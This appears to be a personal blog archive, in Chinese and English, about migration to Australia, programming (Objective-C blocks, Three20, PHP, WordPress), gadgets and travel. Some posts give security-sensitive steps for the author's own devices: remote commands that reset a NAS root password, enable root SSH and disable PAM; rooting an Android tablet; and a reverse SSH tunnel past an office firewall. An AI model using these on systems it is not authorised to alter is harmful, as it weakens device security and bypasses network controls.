佩斯这个城市，我曾一度想也许我就属于这里了，有个稳定的工作过过舒适安定的生活，但这样的计划在哪里不能实现？为什么一定要是这里？想看世界的眼才刚刚张开，绝不要被软弱打败。

跟朋友谈起，说你也太洒脱了吧，不到一个月就做了个重大决定？其实从来没觉得离开这个城市去另一个会是很难的事，我在这里没有什么牵挂（不知算不算可悲？），其它的东西都是身外物，我早就想Living with less了。唯一不安的是心里软弱的一面：未来会是怎样？新的工作，完全不同的生活方式，能承受的了吗？想下以前的日子就没什么顾虑了，怎样也不会比四年前我一菜鸟提着两个行李包刚来澳洲还要难吧？那条路都走下了，我不会越走越难的。重要的是我一定要成长下去，我要发挥更大的价值，绝不要满足现状。

以后还会怀念这里的人和这段时光吧，现在，还要义无反顾的走下去。

早上九点中介打来电话说分到CO了，问我补中国的无犯罪证明，可我是在申请交上以后才回国的，这还算？心里隐约觉得碰上个麻烦的CO了，忙催我爸去办无刑然后DHL过来，另一方面，中介发邮件向CO解释了情况，看CO怎么回应，然后……下午四点，中介电话打来：准了……这就批下来了？！老子都准备好打持久战了。三千多的申请费，他们就干了一天的活，移民局真是个好生意。

这张红卡，给了我四年来一直得不到的真正自由，如今，我终于可以去我想去的城市，选择我热爱的工作，重新开始在这片土地上寻找我的归属，如今，自己的未来终于回到自己手里，生活又翻开了新的一页。

With blocks, developers can do some interesting stuffs in C, such as:

Anonymous function

^(void) {
    printf("This is a anonymous function call");
}();

We often see the technique in JavaScript framework or bookmarklet, to avoid return value or namespace collision, but not in C

Nested function and inline function

You can actually define a function in a function:

typedef int (^Block)(int);

Block block_generator() {
    return ^(int a) {
        return a;
    };
}

Block bb = block_generator();
bb(121);

This technique is quite useful to provide callback function, take qsort for example, on Mac, there are two qsort functions allowing devs to provide a compare callback:

void qsort_b(void *base, size_t nel, size_t width, int (^compar)(const void *, const void *));
void qsort_r(void *base, size_t nel, size_t width, void *thunk, int (*compar)(void *, const void *, const void *));

qsort_r takes a function pointer, so you have to create a function then assign the pointer here, but with blocks, developers can create compare callback inline. It’s more straight forward.

In Cocoa framework, blocks are being widely used in GCD, animation, error handing, enumeration, we will see more APIs make use of this powerful features soon, such as NSURLConnection, so we don’t need to use delegate methods any more, blocks are much better. (cannot wait? try this)

Blocks has access to other scope

By adding __block to variable declaration, blocks will be able to change variables.

__block int statusCode = 0;
int anotherCode = 9;
^(void) {
    printf("Status code %d", statusCode);
    // Change variable in bock context
    statusCode = 10;
    // Cannot do this
    // anotherCode = 999;
    // but...
    printf("another code %d", anotherCode);
}();
printf("Changed status code %d", statusCode);

Three20 is one of the answers to these problems, it has a lot of useful components: enhanced table view, text fields, labels, buttons, photo browsers and a lot helper classes, on the other hand it has some major cons, such as difficult to integrate and customise, tight couple…the worst one would be lacking documentations, a project like this without official documentation and tutorials is often a deal breaker. The samples comes with three20 is your best bet to understand how to use the components, but there is no inline comments, you have to figure out what are the classes by looking in to the source code…

Having said all the cons, it’s great time saver once you get to know it, lately, I decided to build an album app for iPad, so I can easily browse my family photos remotely, I quickly wrote a python script imported all photo path names in MongoDB, organised by directory names, then I created a simple tornado application, which could list all photos in certain directory in JSON, it has other handlers to process thumbnails/file serving etc. This only took me an hour or so (thanks to Python). But when comes to develop an app to consume the contents, it’s not easy. Firstly, I need to write a class to fetch and parse photo list, easy, NSURLRequest and NSJSONSerialization can do the job, then I need to create a thumbnail browser and photo browser view, I will need to a high customised UITableView to display thumbnails in grid view, table cell has to be internet aware, it has to download images asynchronously. A customised UIScrollView to display large size photos and download them asynchronously, and data source must be easy to reload, so photo viewer and thumbnails browser can reflect the changes instantly. These requirements could easily consume me a week if only use native components, but come on, it’s just a small app I wouldn’t submit to apple store!

I remember there is a photo album view in TTCatalog project from three20, I probably should give it a try.

1. I created an app called “AlbumHD”, to integrate with three20, I have to run “ttmodule.py” on my project file:

   three20/src/scripts/ttmodule.py -p AlbumHD/AlbumHD.xcodeproj:build_target_name Three20 --xcode-version=4
   

   You will have to change build_target_name to the real project name

2. In AppDelegate.m, add three20 navigator after [self.window makeKeyAndVisible]; it should look like this:

   
   - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
   {
       self.window = [[UIWindow alloc] initWithFrame:[[UIScreen mainScreen] bounds]];
       [self.window makeKeyAndVisible];
       TTNavigator *navigator = [TTNavigator navigator];
       navigator.persistenceMode = TTNavigatorPersistenceModeNone;
       [navigator.URLMap from:@"tt://album/"     toViewController:[AlbumViewController class]];
       [navigator openURLAction:[TTURLAction actionWithURLPath:@"tt://album/"]];
       return YES;
   }
   

   navigator is a three20 module to help easily switch between view controllers without push/pop from navigation controller, so you register your view controller to navigator.URLMap, then you can access it by a short url alike identifier.

3. The AlbumViewController class we referred above hasn’t been defined yet, now we create one:

   @interface AlbumViewController : TTPhotoViewController 
   @end
   

   So this will be the main view controller in this app, TTPhotoViewController is the three20 photo browser components, it has all the UI elements and default actions we need, we just need to feed it with the photo list.

4. In AlbumViewController.m, we override -(void)viewDidLoad:

   - (void)viewDidLoad
   {
       [super viewDidLoad];
       self.photoSource = [[PhotoSource alloc] init];
   }
   

   PhotoSource is a subclass of TTURLRequestModel, it takes of loading photo list and response request from TTPhotoViewController, TTPhotoViewController may asks questions like: how many photos in this data source? what’s the max index? what’s the photo in index X? These questions are defined in TTPhotoSource protocol. By subclass TTURLRequestModel, PhotoSource has ability to load remote resource, and it knows if the resource is being loaded or already loaded.

   Here is list of PhotoSource implmentation code:

   @implementation PhotoSource
   @synthesize title = _title;
   #pragma mark init
   - (id)init {
       if (self = [super init]) {
           _type = PhotoSourceNormal;
           _title = @"";
           _photos = [NSMutableArray array];
       }
       return self;
   }
   - (void)loadPhotos {
       [_delegates perform:@selector(modelDidStartLoad:) withObject:self];
       _loadingRequest = [TTURLRequest requestWithURL: @"http://10.1.1.100/album/trip" delegate: self];
       _loadingRequest.cachePolicy = NSURLRequestReloadIgnoringLocalCacheData;
       TTURLJSONResponse* response = [[TTURLJSONResponse alloc] init];
       _loadingRequest.response = response;
       [_loadingRequest send];
   }
   #pragma mark TTModel
   - (void)load:(TTURLRequestCachePolicy)cachePolicy more:(BOOL)more {
       if (cachePolicy & TTURLRequestCachePolicyNetwork) {
           [self loadPhotos];
       }
   }
   - (void)requestDidFinishLoad:(TTURLRequest*)request {
       TTURLJSONResponse* response = request.response;
       [_photos removeAllObjects];
       NSArray *list = response.rootObject;
       Photo *p;
       int i = 0;
       for (NSString *url in list) {
           p = [[Photo alloc] initWithURL:url];
           p.index = i;
           p.photoSource = self;
           [_photos addObject:p];
           i++;
       }
       [super requestDidFinishLoad:request];
       [_delegates perform:@selector(modelDidFinishLoad:) withObject:self];
   }
   #pragma mark TTPhotoSource
   - (NSInteger)numberOfPhotos {
       return _photos.count;
   }
   - (NSInteger)maxPhotoIndex {
       return _photos.count-1;
   }
   - (id)photoAtIndex:(NSInteger)photoIndex {
       if (photoIndex < _photos.count) {
           id photo = [_photos objectAtIndex:photoIndex];
           if (photo == [NSNull null]) {
               return nil;
           } else {
               return photo;
           }
       } else {
           return nil;
       }
   }
   @end
   

   Note, Photo class is conforming TTPhoto protocol.

5. This is pretty much how to build a photo album app using Three20, the code is based on TTCatalog example, I made necessary changes to allow it reload list from my tornado app.

There are other changes and tips, I listed a few here:

• For large photos, TTPhotoView uses UIViewContentModeScaleAspectFill contentMode, so photos are overlapped, by avoiding hacking three20 code, I cloned TTPhotoViewController to use my customised TTPhotoView, that's the problem of tight couple
• To load another photo set, assign a new loading url to PhotoSource, and call [TTPhotoViewController reload]
• There is a slide show button defined in TTPhotoViewController but not added to UIToolBar, don't why, in my cloned TTPhotoViewController, I added there, I added another button to choose album.

1. Short array syntax

   $langs = ["php", "python", "lua"];
   $person = ["firstname" => "Dongsheng", "lastname" => "Cai"];
   

   I wish to see short class syntax, not sure how it will look like.

2. “<?=” is officially available all the time, there was an argument wether or not it should be used in project due to the short tag option in php.ini, now it’s out of question.
3. Session upload progress, I will give it a try later
4. Traits to ease the limitations of single-inheritance
5. Build-in web server! Start it using `php -S localhost:8080` command, this makes testing/debugging easier…a little bit
6. Massive performance improvement
7. No more safe mode, magic quotes, register_globals and allow call time pass reference

I compiled it on Lion 10.7, my configure is here: https://gist.github.com/1978565

Notes

- pcre library must be update-to-date, otherwise, some pattern modifiers won’t be available in php.
- libjpeg isn’t installed on OS X, I installed it by homebrew.

    $bom = chr(255) . chr(254);
    $string = "\"" . $key . "\"" . " = \"" . $value . "\";\n";
    $text = iconv('UTF-8', 'UTF-16', $string);
    file_put_contents('Localizable.strings', $text);

但苹果店火爆的销售情况严重打击了我的决心，网上预订更是拖到一到两周才能发货，然后到Whirlpool看到不少人分享从Vodafone，Three，Telstra签下的相当诱人的计划，足迹上更是有人整理出了机经。我算了下，要是签个$29+$5的计划，两年下来，相当于消费$816，还是带话费的，直接买iPhone则是$799，显然签约更划算。

于是打了第一个电话，热线等了整整四十分钟终于通了，惊奇的发现接电话的不是三哥了，澳洲口音，侃了半天这哥们就是不肯松口，说4S非常火爆，不能给折扣，最多一个月免费，这就是最大让步了。看来多说无益，于是说谢谢挂了电话，想改天再试，这是周六的事。

周日打了第二个电话，这次整整等了一个小时，一边上网一边等电话接通。这次还是澳洲口音，这哥们很牛逼，一上来就跟我说签4S完全没有折扣，我说那昨天怎么给我折扣了，还有这么多人拿到更好的deal，我问他难道是我在撒谎？哥们牛逼的说没有，但4S太畅销就是不能给你折扣，我很忙没空跟你讨论这个，我说我tmd更忙，这电话让我等了一个小时！说完挂了，这么牛逼的客服还第一次遇到，周一一定投诉这货。然后跑到Whirlpool看了一下，发现不少人遇到这情况了，看来Three那边是统一口径了。

今天打了第三个电话，打算干两件事，一是投诉，二是停掉合约，然后签Telstra的4S计划，电话过去这次变成了“熟悉”的印度口音，听说我要退网，三哥问我为什么，就把前面提到那货骂的狗血淋头，这个三哥人品明显很好，马上offer我每月$10的credit，这样算下来相当于$29 cap的加$5的handset fee，或者$49 cap无handset fee，终于要到了自己满意的折扣。可能再过一周4S就到手了

并不是因为我对苹果产品有特殊的感情，让我感到震惊和难过的是，从2009年一月起他体重巨减到现在这长达两年半的时间里，尽管一直处于死亡的威胁下，但他未停止推动苹果这艘大船的脚步，他实实在在得为事业奋战到灯枯油尽。一个已经获得人世所有荣耀的人，一个被绝症耗尽生命力的人，是什么在驱动着他？我想起了他在斯坦福演讲时说过的两段话：

…and since then, for the past 33 years, I have looked in the mirror every morning and asked myself: “If today were the last day of my life, would I want to do what I am about to do today?” And whenever the answer has been “No” for too many days in a row, I know I need to change something.

Remembering that you are going to die is the best way I know to avoid the trap of thinking you have something to lose. You are already naked. There is no reason not to follow your heart.

八月底读了乔布斯的辞职信，我想，他终该获得了身体和精神上的宁静吧，我甚至没有怀疑过他会战胜绝症，作为一个传奇人物，传奇还会延续，下一个传奇是乔布斯再次站在苹果发布会上……可惜这并未发生。

谢谢乔布斯，比起你创造的精密绝伦的科技产品更重要的是你身体力行的告诉世人去追随梦想，不对糟透的现实妥协。也许无人能复制你的成功，但你留下的这笔精神财富却能激励更多人做更好的自己。

 Rest in peace, Steve Jobs.

I thought it would be a very bad idea to stay in this property any longer since the recent murder case and bomb threat (rumor) happened in my neighborhood, this is another sign to urge me leave this suburb . After numerous communications with rental agent, they agreed I could move out ASAP. I did ask them to renew my lease before, and they told me new lease had been posted, but until then I still haven’t seen anything, but when came to moving out, they started to talk about 21 days notice, I don’t like the people who have double standard.

Looking for new place, moving, cleaning etc.. plus I have to work (btw, we released moodle for iPhone 1.0.2 last Friday), I even feel exhausted when typing these words, I am really upset at the moment, I asked myself what makes me unhappy?

No, it’s not the agent, not even the thief, it’s all about the stuff I own. I spent more than two days to move them, I am sure there will be more days wasted on placing them in the right place until I move again. I realized I didn’t need most of them. That’s stupid, I bought all those to entertain me, now I became a slave of them, I maintain them, protect them and upgrade them, afraid of losing them, but they don’t give me happiness, only burdens. That reminds me that every time I think of making changes to my life, the first thing jumps into my mind is: how would I deal with my stuff?? I am jailed.

Here comes to the point to ease the stress from consumerist, time to practice MINIMALIST, what I will do from today:

1. Sell or donate ALL my furnitures except a chair and workstation
2. Get rid of paper-based books, it’s the era of ebook! With iPad and kindle, I can get nearly all information I possibly need, for the books aren’t available in digital format, they might be not good enough to be digitalized
3. Sell my Xbox 360 console, TV and games (I cannot believe I bought a TV just for gaming)
4. Sell spare PCs, laptops and computer accessories, A macbook certainly can serve my needs
5. Donate my clothes, I got way too many
6. STOP using unlimited ADSL broadband, unlimited broadband leads to abusing, I spent whole lot of time on downloading movies & TVs I will never watch, surfing on the web without actually doing anything useful. I will sign up a mobile broadband plan which only allowing me to do essential tasks only.
7. Addition to previous point, be careful with contract, it’s easy to sign, but difficult to terminate! To save $20, I signed a 18 month contract with TPG for ADSL instead of 6 month, I terminated 7 month earlier, that incurred $200 termination fee! That’s the worst $20 I saved. To terminate a connection might cost TPG $0, but… anyway, deal is deal. NO more contract if possible, use pay as you go plan instead.

That’s it for now, I will write follow up post regarding minimalist practice. I want my life simplified, dynamic, not binding with the bulk of crap I had.

最早在ABC的中文Twitter上看到这条消息，六月底把我永居签证的提名信交上去了，至今还杳无音信，之前一直很担心ENS的提名会通不过。看到这个消息以后查了下移民局网站，把Perth划到偏远地区以后我多了个选择，可以申请更宽松的857 VISA：Regional Sponsored Migration Scheme，提名要求比856 VISA还要低，这样我基本就没啥好担心的了

现在移民局网站上还没有把Perth列到偏远地区上，希望宝文不要食言。过去两年移民政策已经让太多人心灰意冷，在砍掉很多水货的同时也误伤了不少勤劳能干的人。但愿今年年底前能把这个事办完，让生活安定下来。

Update on 27, Sep, 2011:
Perth已经正式划入偏远地区了：http://skilledmigration.govspace.gov.au/2011/09/13/regional-classification-for-perth/

每次安装Java软件必然要碰到各种各样麻烦问题，这次是4G内存也装不了Alfresco，反复报错：java.lang.OutOfMemoryError: PermGen space，我在终端翻了四五页才看到这个关键错误，前面报的全是反人类的不相关内容。解决办法是给tomcat传个参数进去，我得记下来，下次它肯定还得给我脸色看。

我的tomcat是用jsvc启动的加如下参数：

-Xmx1024m \
-Xms1024m \
-XX:MaxPermSize=128M \

感谢Java，你又浪费了我一个下午。

两年后的今天再来悉尼Convention Center参加会议，发现使用Moodle的学校又大大壮大了，澳洲八大名校已有一半迁移到了Moodle（澳洲国立大学，新南威尔士大学，西澳大学和莫纳什大学），使用Moodle的TAFE和中小学更是不计其数，大约40%的学校是Moodle用户，还有个好消息是有更多的学校已经升级到2.0。比较有意思的是在会场还看到一个BlackBoard的展台，不过看上去不是很受欢迎

我来的一个目的是介绍正在开发中的Moodle for iPhone，这一个多月写的我死去活来的程序基本成型了，这个版本的功能不多，主要是Moodle端需要提供更多WebService，这个会在Moodle2.2发布的时候获得改善，做完Presentaion以后反响很热烈，有几个机构询问能否给大学提供定制版本，这对推销学校形象很有力。还有几家关心android版本的开发，可哥近期内可能不会碰android开发，cocoa touch够我喝一壶了。

还有件有意思的事，昨天参加一个session时presenter在facebook里搜索moodle，找到一本书讲解我去年写的一个核心组件 Moodle 2 The File Picker

视图切换：
在主界面按大写S可以察看当前分支的状态，按t打开文件树，在文件树上按B可以察看blame界面，按H显示本地分支，按l显示log summery，在commit上按d显示commit内容。

显示选项：
在察看commit的界面里按.可以切换行号。
在主界面按大写D可以调整commit日期显示。
主界面按A选择显示committer的方式

其他：
方便的cherry-pick，用H切换到别的分支，选中commit然后按大写C就能完成cherry-pick了！

到手以后相当喜欢，手感很好，比Telstra和Optus销售的其他几款天朝货要好很多（当然价格差距也大），屏幕分辨率与iPad相当，由于是七寸所以显得相当细腻，反应速度很快，秒杀我对之前用过的Android手机的恶劣印象，另支持3G，可以当个大号电话用，但千万别像这个视频里用，过于拉风了。个人感觉Android上的软件大多不如iPhone的精致，不少iPhone上流行的软件能找到Android上的兄弟，看上去却都有点缺乏父爱。把玩这段时间感觉Android跟iPhone最大的差距是Market里软件质量不如App store，造成这种差距可能是两个系统生态系统的差距，还有Android各种机型分辨率差异大造成很多app难以兼顾，网易新闻app设计精良但也没处理好分辨率的问题。虽然不大喜欢腾讯，但不得不说它在Android上做的几款软件品质都相当高，不比它iPhone上的兄弟差。

选择平板是为了给爷爷奶奶用，前年回家给他们配了台电脑，从了我走了以后基本就是接灰状态，桌面操作系统对老人都是相当不友好，这不仅仅是软件可用性问题，是输入输出设备天生的复杂性，即使是设计如此细腻的Mac OS X也相当难用。平板电脑就不一样，视频语音/看新闻天气基本都是点两下的事，对老人来说，用的最多的也就是这两项了。比较失望的是Skype for Android尚不支持视频，Fring能支持，但界面实在太糟糕了点，且没有桌面软件。最令人兴奋的一点是照相机程序，一打开就把平板变成一个巨大的取景窗，视觉效果相当好，对大多不懂相机的人，就误以为这台机器自带的相机相当顶级。

晚上回家以后就动手开干，机器自带的ROM是Telstra的，不光满屏垃圾软件，还不带中文，所以必须刷中文，开root。

重刷ROM

放狗瞬间找到了机锋论坛里有个Galaxy Tab的分版，非常感谢原贴楼主的刷机指南，但国内论坛帖子常常存在严重的阅读问题。一方面排版乱，另一方面是概括的相当不概括，常常要看很多遍才明白怎么回事，这可能跟帖子编辑次数过多有关？所以我重新表述一下，方便下次使用：

• 下载三个程序，Kies，这个是三星的手机管理软件，内置了设备的Windows驱动，刷机软件odin3，还有国内行货的ROM
• 把机器切换带调试状态，因为这个状态显示的是一个android挖煤，所以也叫挖煤状态，进入此状态的方法是彻底关机，然后先按音量向下，然后按开机键，然后就应该看到挖煤界面了
• 进入挖煤状态后，把Galaxy tab连到PC，然后启动odin，在选项中选中re-partition，然后按载入rom里的pit文件，点start
• 刷完以后，Galaxy会停在三星的logo界面，按住电源键十秒强制重启
• 再回到Odin，在Odin的Option中取消re-partition选项，然后在Odin的Files部分，添加pda，phone和csc相应的rom文件，pda对应P1000开头的tar.md5文件，phone对应moderm开头的tar.md5文件，csc对应GT开头的tar.md5文件，完了点start，等着刷机完成

破解root

刷完之后我傻眼了，这个国行的ROM太监了，所有的google软件都消失了，最无耻的是连market都阉了。解决办法，拿到android的root权限，把google软件写到/system/app里，顺手还得把开心网，新浪微博之流的货色给灭了。

• 先启用USB调试模式，设置->应用程序->开发->USB调试，如果是英文版：Settings->Applications->Development->USB debugging
• 把Galaxy tab连到电脑上
• 下载SuperOneClick，启动以后选择那个root按钮就搞定了

加入Google的软件套装

这个原理简单，就是把Google套装拷贝到/system/app，但这个是挂载成readonly的分区，所以要下载个app重新挂载。
因为变态的国行没有market，只能去找下载拷贝到sd卡然后用系统自带文件管理器（My files）打开安装，这两个软件是root explorer（这个是第三方软件，能操作系统文件，可以用来拷贝文件）和mount /system，可以在《获取ROOT与 DATA TO 2G教程+失败原因释义》找到。下载Google软件包，然后用root explorer拷贝到对应的/system/app目录下，最后重启就能用Google的服务了。

几个Tips：

• *2767*3855# 恢复出厂设置
• *#197328640# 工程模式
• *#7780# 删除个人数据和已经安装程序
• *#*#3214789650#*#* GPS选项调整
• 必须干掉国行ROM里的QQ，流氓会随系统启动，那些顽固的垃圾软件都存在/system/app目录里

推荐几个软件：

• QQ阅读，QQ新闻，QQ订阅，微信，甚至QQ输入法
• 网易新闻（存在显示问题）
• Skype
• Kik messenger，Whatsapp（竟然免费）
• GO 天气

drwxr-xr-x@

我知道@跟文件名是软链接，跟权限位后面倒是第一次看到，查了下找个是extended file attributes，可以用xattr清除，亦可用cp -X避免拷贝EFA。详见：OS X Extended Attributes and xattr

最悲剧的事：不能在2011前申请PR了，材料准备了大半才发现移民局要求三年工作经验才能申请856签证，还得再忍六个月。

年度玩具：去年最好玩的数码产品是NAS，满足了我24×7下载的需求还给了我很多折腾的机会，关于NAS的选购，在资金允许的范围内，能选QNAP就不要选LinkStation，前者的软件和稳定性都比LinkStation好。Kinect也是很好玩的东西，但现在还没有出现杀手级游戏。

学到新技能：终于会开手动挡的车了，一个不大不小的进步，意味着以后再搬家就可以开卡车了 九月买了我的第一辆新车 Ford Focus，买了之后有点后悔，其实二手车便宜开着也不错，新车买的是个放心，至少五六年内不用为车操心了（纪念一下之前的老将：Toyota Avalon 2003，Toyota Camry Sportivo 2005，Nissan X-Trail 2002）。

过去的一年没读几本书，看了无数的电影，美剧，玩了十几款xbox360和pc games，这些东西基本上是让人活的更麻木，新的一年要把读书和娱乐的时间倒过来，前面的路还长，不能这么快就被精神鸦片给毒害了 另外要多在这里做点记录，感觉twitter不是个很好的记录生活的地方。

对2011满怀期待，希望将是充满积极变化的一年。

ssh -N -L 9091:200.200.200.200:9091 myssh.host.name

200.200.200.200:9091是要访问的远程主机和端口
9091是要映射的本地端口
myssh.host.name是要使用端口转发的ssh服务器
-N，表示本连接不执行任何命令
-L，表示设置端口转发
-v，加上这个选项可以察看详细的连接信息

还有一种情况是我在家里想访问办公室的电脑，因为电脑在防火墙后面，所以不可能直接访问，但可以把我本地的ssh端口映射到myssh.host.name的某个端口上，这样我在家也能访问公司电脑了，这里要用-R选项

ssh -N -R 2222:127.0.0.1:22 myssh.host.name

2222是映射到外网的端口
127.0.0.1:22表示2222要映射到本地的22端口

之前最担心的是LinkStation拿不到root权限，只能锁死在buffalo的功能上，那我还真不如弄个QNAP了，功能和界面都比Buffalo强太多。经过一番折腾，打消了这个疑虑。

• 下载acp_commander.jar，没想到固件都升级到1.37了这个破解工具竟然还能用
• 先测试一下能不能用：

  java -jar acp_commander.jar -t 192.168.1.65 -ip 192.168.1.65 -pw password -c "ls /"

  注意-pw后的参数是web界面登录密码，如果成功的话就能看到输出的根目录列表了

• 改root密码：

  java -jar acp_commander.jar -t 192.168.1.65 -ip 192.168.1.65 -pw password -c "(echo 123456;echo 123456)|passwd"

• 改sshd设置以允许root登录：

  java -jar acp_commander.jar -t 192.168.1.65 -ip 192.168.1.65 -pw password -c "sed -i 's/PermitRootLogin no/PermitRootLogin yes/g' /etc/sshd_config"

• 关掉pam：

  java -jar acp_commander.jar -t 192.168.1.65 -ip 192.168.1.65 -pw password -c "sed -i 's/UsePAM yes/UsePAM no/g' /etc/sshd_config"

• 重启sshd：

  java -jar acp_commander.jar -t 192.168.0.10 -ip 192.168.0.10 -pw password -c "/etc/init.d/sshd.sh restart"

然后就能用ssh登录nas了，LinkStation Pro Duo WVL里面的东西还挺新的，vim是7.2，php是5.2.10，内核是2.6.31（我的CentOS才2.16.18啊！），CPU是格格巫Kirkwood 1.6G，内存小了点，只有256M DDR3。

这个破解办法来自easier way to get ssh on XHL，看这帖子的时候太自信，没有仔细看作者的描述的步骤，我自作聪明用acp_commander.jar改了/etc/sshd_config和/root/.ssh写权限，然后用php把我的id_rsa.pub传了进去，但sshd死活不允许我用公钥登录（我确实改了sshd_config里的相关设置），最后老老实实按步骤做了一遍就成功了，走了不少弯路。所以说做人还得谦虚啊！

Updated: 25/12/2010

用了将近半个月，总结一下遇到的一些问题和解决办法

• LinkStation内置的bt是定制的µTorrent，这个linux版的素质明显不如它windows和mac的兄弟，常常就把CPU用到100%，更恼人的其实是很多PT站不认这个版本的uTorrent，果断的禁掉它然后用ipkg装个Transmission，各个平台都有远程控制客户端，对CPU也是相当友好
• LinkStation的web服务器相当古怪，在/etc/init.d下有httpd.sh和lighttpd.sh，让我一度以为它内置了apache和lighttpd，读了一下启动脚本发现httpd.sh也是用的lighttpd，读的是/etc/lighttpd/buffalo-web.conf配置文件，用来启动LinkStation的web管理界面，另一个lighttpd.sh读的是/etc/lighttpd/lighttpd.conf，如果在管理界面设置使用php的话就会启动这个服务，这个配置文件莫名其妙的把运行用户设置成了apache。感觉两个进程太浪费资源于是在buffalo-web.conf里设置了虚拟主机，buffalo的程序员太没诚意了，这么简单的东西搞的这么粗糙，可能是考虑管理界面要用root权限，而普通的php程序只给个低点的apache用户权限吧
• twonky的web界面无法使用，一度以为是我改某个配置文件把twonky搞次了，最后在论坛里发现是buffalo的升级升坏了，这是个从1.2x就一直存在的老bug，把/usr/local/twonky-alt重命名就好了

总之，bufflo的软件做的太粗糙的，好像是找了一帮新手做的，我上面提到的几点问题，如果没有root权限的话根本无法修复。下次买NAS不会再考虑Bufflo了，QNAP的软件更有诚意。

最近EBGAMES搞活动，可以用旧的iPod换store credit，我恰好有个iPod Touch 2nd 8G放在车抽屉里接灰（接了快半年了，连电都没了），拿到EBGAMES能换170刀，在ebay上搜了下，运气好到家也就卖这个钱了，于是再加29块换了个很火的kinect。

这真是个让人惊讶的产品，可以非常精确地识别我的动作，跳，推，蹲，伸展……且不需要依赖像wii那样别扭的遥控器。澳洲版的kinect带了“Kinect Adventures”游戏，玩了一会就累的浑身大汗，然后xbox告诉我这还刚刚是warm up而已，对我这样搞IT的宅男，这种设备对身体健康绝对有积极意义的

Kinect最大的限制应该是对空间的要求太高，需要1.2到3米的距离，我不得不把房间重新布置了一下才能玩，可以想象可能不少公寓没有足够的空间满足kinect的要求。

目前kinect的游戏很少，且非常昂贵，但kinect的发展空间是无穷的，射击游戏？格斗游戏？如果kinect的精度和反应能进一步提高的话，我们就能完全扔掉xbox手柄了，想象一下用kinect玩gears of war，halo或者街霸，口水都要流出来了。

如果你还在准备圣诞礼物，我强烈推荐你去弄一套Kinect！

最近换了TPG的无限流量宽带，再加上ThunderNews推出的这个黑色星期五促销计划，终于有了使用Usenet的机会，终身每月五美元的无限量下载，该计划详情：

• Premium SSL Servers
• 711+ Days Binary Retention
• 1265+ Days Text Retention
• 50 Simultaneous Connections
• 256 bit SSL Encryption Included
• 2 US Servers
• 2 EU Servers
• 99% Article Completion
• Free News Reader Software
• 24/7 Chat & e-mail Support
• Unlimited Message Uploads
• Broadband Speed
• Multiple Access Ports

看到有人怀疑该计划是否只三个月有效，可以看看官方的blog：Thundernews Black Friday Special Update和Whirlpool的讨论。

define('WP_POST_REVISIONS', false);
define('AUTOSAVE_INTERVAL', 60000);

还是无法彻底消灭垃圾记录。其实这对性能啥的没什么影响，主要是种程序员的洁癖，本来我的posts表是整整齐齐按ID排序的，但Wordpress这么整以后，本来连续的ID全打乱了，我的Permalinks就是依赖ID的。

所以我决定把Permalinks改成年月日+postname的形式，这样看起来就没那么乱了。在这么做之前最好设置301转向，不然apache的记录里就全是404了。这个可以用.htaccess来实现，在Wordpress目录的.htaccess里加上：

RewriteEngine On
RewriteBase /
RewriteRule ^archives/([0-9]+)$ \?p=$1 [R]

这样原来http://log.dongsheng.org/archives/2重定向到http://log.dongsheng.org/?p=2，然后wordpress会把这个地址换成新的年月日形式。

更新：29/11/2010

还要再加一条规则重定向trackback：

RewriteRule ^archives/([0-9]+)/trackback$ wp_trackback.php\?p=$1 [R]

圣诞去Albany玩，历时三天，总结一下行程，给以后留个参考。

Perth

出发点，行程将近两千公里，不舍的开自己的车了，就去m2000租了一辆2009 Camry，圣诞期间是高峰期比较贵，三天要310刀。其实应该租辆4WD，路上虽然都是公路，但这要进国家公园玩轿车明显不行啊。从Perth去Albany可以直接走Albany hwy，但一路全是荒地，所以去的路上还是沿着海边走好，有很多可以逛一逛的小镇。

Mandurah

很漂亮的小城市，还能抓抓螃蟹，因为经常去，所以这里直接跳过了。

Bunbury

没什么好玩的，也可以直接跳过，离Perth两百多公里吧，可以在这里增加一下补给，这是到Albany前最后一个城市了。

Busselton

比较有名的是Busselton Jetty，这是西澳最长的Jetty，不过我们去的时候关闭了，说是在修整，到2011年二月才会重新开放。很值得看看。

Margaret River

WA的比较著名的旅游点了，在进小镇前有个Information bay，它后面就是Margaret River，我比较惊讶的发现这条合理有很多很多超大的黑色龙虾，可惜不让抓
Margaret River最著名的就是几家酒厂了，我们只去了一个Xanadu Winery，有个Eagles Heritage Raptor Wildlife也可以逛逛，其实Margaret River东西蛮多的，应该在这里过上一夜。

Augusta

一个很小很小的小镇，在澳洲的西南角上，我印象最深的就是这里的风非常大。
没有太多可以玩的地方，可以看看augusta jewel cave和cape leeuwin lighthouse，我们到这里主要是过夜＋增加补给。

Pemberton

这里主要就是国家公园了，但我们没开4WD，只能跳过了

Walpole

时间不太够，所以没有在这里停留，详情可以参见本文档。

Valley of the Giants

绝对不能错过的Tree top walk，不过我这样恐高的人还是免了吧

Denmark

这里也跳过了，详情参见该网站。

Albany

目的地，不能错过的景点包括：
The Gap & natural bridge (Torndirrup National Park)
Wind farm
Mt Clarence

回程直接走albany hwy，回程就相当乏善可陈了。

今天我们团队花了一整天研究git，发现迁移到git最大的难度是图形化工具的匮乏，Netbeans和Eclipse还没有正式发布的git插件，SmartGit算是最好的图形化工具的，但竟然不支持添加远程代码库（git remote），最后还是不得不通过命令行完成。对于初学者来说git那一大坨命令有点吓人，所以当我说用命令行做更快时，被人狠狠鄙视了，然后我用git命令，另一个同事用netbeans+smartgit比了下，任务是创建原始项目的clone，添加远程代码库，合并并推送。结果在他研究Netbeans测试版蹦出的那一坨Java异常的时候，命令行就搞定了，超级简单。虽然命令行的学习曲线比较陡，但利于开发人员彻底理解Git的工作方式，且不会被锁定到某个特定的GUI工具。

觉得iPhone 3GS很酷了，看到同事开短信都要半分钟的3G，心里很是爽。然后最近有很多朋友都弄上iPhone 4了，金属外壳，加无敌屏幕，3GS简直就是一个玩具，跟不上苹果的更新速度，到我合同到期，iPhone 5就该上市了，到时候让你感受一下我现在的感受

可能真是年纪越长越跟不上时代了。

我创建实例的时候犯了一个严重错误，选了CentOS以后没有发现这个操作系统只能用4xlarge类型的实例，即硬件配置很高的那种，而免费试用仅仅是对micro规模的实例试用，结果短短一个周末charge了我224多美元，而这过程也没有任何提示已经开始收费了，心理非常不平衡，忙联系Amazon的客服要求取消收费，强调我是在试用，而不是用在生产线上，结果客服很好，很快就给我的帐号冲进224美元，抵消掉之前的花费，事实证明，云计算也不一定便宜

